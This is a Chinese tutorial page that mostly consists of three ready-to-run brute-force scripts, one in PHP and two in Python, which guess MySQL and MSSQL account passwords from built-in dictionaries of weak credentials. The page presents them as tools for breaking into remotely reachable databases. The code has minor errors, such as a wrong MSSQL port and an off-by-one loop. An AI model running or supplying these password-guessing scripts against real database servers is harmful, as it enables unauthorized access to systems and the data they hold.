MYSQL和MSSQL数据库账号密码猜解脚本PHP版+Python版_PHP教程_编程语言

MYSQL和MSSQL数据库账号密码猜解脚本PHP版+Python版

2016-10-17 0

核心提示：数据库账号密码猜解脚本PHP版+Python版一、Mysql PHP版本爆破小脚本（注意：从代码可以看出用户名是个变量，一般数据库账号不会变，所以用户名没用数组作为字典。密码是用数组作为字典。字典可根据规矩扩展，破解的成功与失败，就看你扩展的字典强大不强大了

数据库账号密码猜解脚本PHP版+Python版

一、Mysql PHP版本爆破小脚本（注意：从代码可以看出用户名是个变量，一般数据库账号不会变，所以用户名没用数组作为字典。密码是用数组作为字典。字典可根据规矩扩展，破解的成功与失败，就看你扩展的字典强大不强大了。用法：保存代码为MysqlDatabaseBlasting.php，浏览器打开就可使用。）

/*
 *   author：Bearcat  2016-10-5
 */
<html>
  <head>
    <title>Mysql账号密码爆破工具</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  </head>
  <body>
    <center>
      <br><br>
      <h1>MysqlDatabaseBlasting(Mysql账号密码在线爆破工具 V1.0)</h1>
    <br>
<?php
  if(@$_POST['submit']){
      $host = @$_POST['host'];
      if($host!=""){
        $username = "root";//用户名字典
        $password = array('','123456','admin','root','ccf304vn'); //密码字典
        echo "<hr><br>--------------------爆破状态--------------------<br>";
        echo "密码错误次数：";
        for ($i=0; $i <= count($password); $i++) {
          if(@mysql_connect($host, $username, $password[$i])){
              echo "<br><br><font color='red'>爆破成功--密码-->".@$password[$i]."</font>";
              break;
          }else{
              echo $i."、";
              continue;
          }
        }
        echo "<br>--------------------爆破结束--------------------<br><hr>";
      }else{
        echo "<script>alert('黑客，输入数据库IP地址')</script>";
      }
  }
?>
<br><br><br><br>
    <form action="MysqlDatabaseBlasting.php" method="post">
      数据库IP地址:<input type="text" name="host"/>
      <input type="submit" value="爆破" name="submit"/>
    </form>
<center>
</body>
 </html>

演示：

二、Mysql Python版本爆破小脚本，需要安装Python插件MySQL-python.exe，可以看出代码量很少，（注意：里用户名和密码都是类似字典。用法：保存代码为MysqlDatabaseBlasting.py，cmd切换到 MysqlDatabaseBlasting.py路径下，并执行 MysqlDatabaseBlasting.py即可开始破解）

import MySQLdb
#coding=gbk
#目标IP mysql数据库必须开启3360远程登陆端口
mysql_username = ('root','test', 'admin', 'user')#账号字典
common_weak_password = ('','123456','test','root','admin','user')#密码字典

success = False
host = "127.0.0.1"#数据库IP地址
port = 3306
for username in mysql_username:
    for password in common_weak_password:
        try:
            db = MySQLdb.connect(host, username, password)
            success = True
            if success:
                print username, password
        except Exception, e:
            pass

演示：

三、Mssql Python版本爆破小脚本，需要安装 MSSQL-python.exe 可以看出代码量很少，参考二的用法

import pymssql
common_weak_password = ('','123456','test','root','admin','user')#密码字典
mssql_username = ('sa', 'test', 'admin', 'mssql')#账号字典

success = False
host = "127.0.0.1"#数据库IP地址
port = 1443
for username in mssql_username:
    for password in common_weak_password:
        try:
            db = pymssql.connect(server=host, port=port, user=username, password=password)
            success = True
            if success:
                print username, password
        except Exception, e:
            pass

说明：看到很多网络安全爱好者，在进行渗透测试的时候，遇到数据库可以远程管理，但是无法破解其账号密码，所以此篇文章就推送几个脚本进行渗透。

免责声明：本文仅代表作者个人观点，与乐学笔记（本网）无关。其原创性以及文中陈述文字和内容未经本站证实，对本文以及其中全部或者部分内容、文字的真实性、完整性、及时性本站不作任何保证或承诺，请读者仅作参考，并请自行核实相关内容。
本网站有部分内容均转载自其它媒体，转载目的在于传递更多信息，并不代表本网赞同其观点和对其真实性负责，若因作品内容、知识产权、版权和其他问题，请及时提供相关证明等材料并与我们留言联系，本网站将在规定时间内给予删除等相关处理.